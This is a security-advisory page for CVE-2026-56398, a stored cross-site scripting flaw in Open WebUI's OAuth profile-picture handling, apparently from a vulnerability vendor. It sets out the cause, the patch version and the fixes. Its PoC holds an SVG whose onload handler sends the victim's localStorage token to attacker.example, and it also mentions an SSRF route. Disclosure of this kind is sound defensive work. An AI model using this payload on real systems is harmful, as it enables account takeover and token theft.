Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

CVE-2026-56398 — open-webui

CVE-2026-56398 is a Improper Input Validation vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.

Open WebUI - Stored Cross-Site Scripting via OAuth Picture Claim SVG Data URI

Also known asGHSA-3wgj-c2hg-vm6q
Published
Jul 15, 2026
Updated
Aug 12, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 26, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-56398.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs48th percentile — riskier than 48% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍open-webui

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

When a user signs in via OAuth, Open WebUI fetches the picture claim URL, infers a MIME type from the URL extension via mimetypes.guess_type, and stores data:<mime>;base64,... as the user's profile image. The OAuth code path does not go through the validate_profile_image_url Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A .svg URL in the picture claim lands in the database as data:image/svg+xml;base64,....

The profile image endpoint GET /api/v1/users/{id}/profile/image returns the stored data URI with the attacker-controlled MIME type as Content-Type and Content-Disposition: inline. Security headers (CSP, X-Content-Type-Options) are env-gated and not set by default. An authenticated user navigating directly to that URL gets the SVG as a top-level document, executing <script>/onload in the same origin and able to read localStorage.token → account takeover.

Same class of trust-boundary error as CVE-2025-64496 (trust of untrusted model servers) and CVE-2025-64495 (rich-text XSS). Different sink, different code path.

Details

1. MIME inferred from URL extension, not Content-Type

backend/open_webui/utils/oauth.py:1336-1345 — _process_picture_url:

response = await client.get(picture_url, ...)
if response.status_code == 200:
    picture = response.content
    base64_encoded_picture = base64.b64encode(picture).decode("utf-8")
    guessed_mime_type = mimetypes.guess_type(picture_url)[0]
    if guessed_mime_type is None:
        guessed_mime_type = "image/jpeg"
    return f"data:{guessed_mime_type};base64,{base64_encoded_picture}"

No MIME allowlist. The upstream Content-Type is ignored. For a URL ending in .svg, mimetypes.guess_type returns image/svg+xml.

2. OAuth path bypasses the profile-image validator

backend/open_webui/utils/validate.py:10-36 defines validate_profile_image_url, which only accepts /user.png, /user-mono.png, and data:image/{png,jpeg,gif,webp};base64,....

This validator is wired into Pydantic form models (SignupForm, UpdateProfileForm, UserUpdateForm), but the OAuth flow at oauth.py:1536-1540 (existing-user login) and oauth.py:1556-1574 (new-user signup) writes via Users.update_user_profile_image_url_by_id and Auths.insert_new_auth, both of which call SQLAlchemy directly (models/users.py:575-588) without going through any Pydantic model. The SVG data URI lands in the DB unchallenged.

3. Endpoint serves attacker-controlled MIME with inline disposition

backend/open_webui/routers/users.py:504-528 — get_user_profile_image_by_id:

header, encoded = image.split(",", 1)
media_type = header.split(";")[0].lstrip("data:")  # "image/svg+xml"
data = base64.b64decode(encoded)
return StreamingResponse(
    iter([data]),
    media_type=media_type,
    headers={"Content-Disposition": "inline"},
)

No MIME whitelist. The route requires get_verified_user — any authenticated user reaches it.

4. No default CSP / nosniff

backend/open_webui/utils/security_headers.py:16-61 populates headers only when the operator sets the corresponding env var. The default deployment returns none of these. Browsers render a top-level image/svg+xml response as an XML document and execute embedded script.

PoC

Prerequisites: operator has OAuth signup enabled (ENABLE_OAUTH_SIGNUP=true) or OAuth login with picture sync (OAUTH_UPDATE_PICTURE_ON_LOGIN=true). The attacker has a valid identity on the configured IdP and can set their profile picture URL.

  1. Attacker hosts a malicious SVG at https://attacker.example/p.svg:
<svg xmlns="http://www.w3.org/2000/svg"
     onload="fetch('https://attacker.example/x?c='+encodeURIComponent(localStorage.getItem('token')))" />
  1. Attacker sets their IdP profile picture to that URL and signs in to Open WebUI via OAuth. Signup (or login with picture sync) stores data:image/svg+xml;base64,... in the attacker's profile_image_url.

  2. Attacker shares a link to their own profile image with a victim in a chat DM or channel:

https://target.example/api/v1/users/<attacker-user-id>/profile/image
  1. The authenticated victim clicks the link. The browser receives Content-Type: image/svg+xml with Content-Disposition: inline, renders the SVG as a top-level document, fires onload, and exfiltrates the victim's JWT. Attacker uses the JWT to take over the victim's account.

Impact

  • Account takeover of any authenticated user who opens the crafted URL.
  • Post-takeover: access to the victim's chats, API keys stored in their settings, and — if the victim has workspace.tools permission — RCE via installed tools (per CVE-2025-64496 analysis).
  • The same _process_picture_url function has no SSRF allowlist; a secondary primitive is to point the picture claim at an internal URL (metadata service, internal admin panel) and read the response bytes via the profile image endpoint.

Suggested fix

  1. In _process_picture_url (utils/oauth.py:1336-1345): reject any MIME outside {image/png, image/jpeg, image/gif, image/webp}. Use the upstream Content-Type response header, not the URL extension. Also add an SSRF allowlist or at minimum block RFC1918 / link-local / loopback targets.

  2. In get_user_profile_image_by_id (routers/users.py:504-528): enforce a MIME whitelist before building StreamingResponse. This is the defense-in-depth layer that should have caught the bypass.

  3. Apply validate_profile_image_url at the model/storage layer (Users.update_user_profile_image_url_by_id), not only at the Pydantic form layer. All write paths to the profile image column should go through the same validator.

  4. Set X-Content-Type-Options: nosniff and a default CSP unless the operator explicitly disables them.

References

  • backend/open_webui/utils/oauth.py:1318-1351 — MIME guess + fetch
  • backend/open_webui/utils/oauth.py:1536-1574 — OAuth write path
  • backend/open_webui/utils/validate.py:10-36 — validator (bypassed)
  • backend/open_webui/models/users.py:575-588 — DB write
  • backend/open_webui/routers/users.py:504-528 — serving endpoint
  • backend/open_webui/utils/security_headers.py:16-61 — env-gated headers
  • CVE-2025-64496 — precedent: trust boundary error (same class)
  • CVE-2025-64495 — precedent: rich-text XSS (same class)

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIopen-webuiall versions0.9.5pip install --upgrade 'open-webui==0.9.5'

Affected Products

1 product · 1 configurations
Application
open webuiopenwebui
< 0.9.5
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update open-webui to 0.9.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-56398 is resolved across your whole dependency graph.

  3. Workarounds

    Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.

Frequently Asked Questions

# Summary When a user signs in via OAuth, Open WebUI fetches the `picture` claim URL, infers a MIME type from the URL extension via `mimetypes.guess_type`, and stores `data:<mime>;base64,...` as the user's profile image. The OAuth code path does not go through the `validate_profile_image_url` Pydantic validator that normally restricts profile images to PNG/JPEG/GIF/WebP. A `.svg` URL in the `picture` claim lands in the database as `data:image/svg+xml;base64,...`. The profile image endpoint `GET /api/v1/users/{id}/profile/image` returns the stored data URI with the attacker-controlled MIME ty
O3 Security · Impact-Aware SCA

Is CVE-2026-56398 in your dependencies?

Find it across PyPI, including transitive dependencies.